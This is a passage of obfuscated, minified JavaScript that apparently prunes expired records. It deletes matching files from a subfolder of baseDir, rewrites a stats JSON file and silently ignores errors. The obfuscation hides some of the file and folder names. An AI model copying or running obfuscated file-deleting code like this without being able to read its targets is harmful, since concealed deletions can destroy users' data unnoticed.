_0x5a8903=new Date(_0x596d03[_0x53a025(0x164)]);_0x5a8903>=_0x208ef1?_0x142695['push'](_0x596d03):_0x35d717[_0x53a025(0x181)](_0x596d03);}if(_0x35d717[_0x53a025(0x12d)]>0x0){const _0x1f1c4d=path['join'](baseDir,_0x53a025(0x177));for(const _0x463aef of _0x35d717){const _0x529b94=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+_0x53a025(0x134)),_0x58b08b=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+'.comp.txt');try{if(fs[_0x53a025(0x146)](_0x529b94))fs[_0x53a025(0x182)](_0x529b94);if(fs[_0x53a025(0x146)](_0x58b08b))fs['unlinkSync'](_0x58b08b);}catch{}}fs[_0x53a025(0x140)](statsPath,JSON['stringify'](_0x142695,null,0x2),_0x53a025(0x12f));}}catch{}}runSync()[a0_0x50b377(0x143)](()=>{});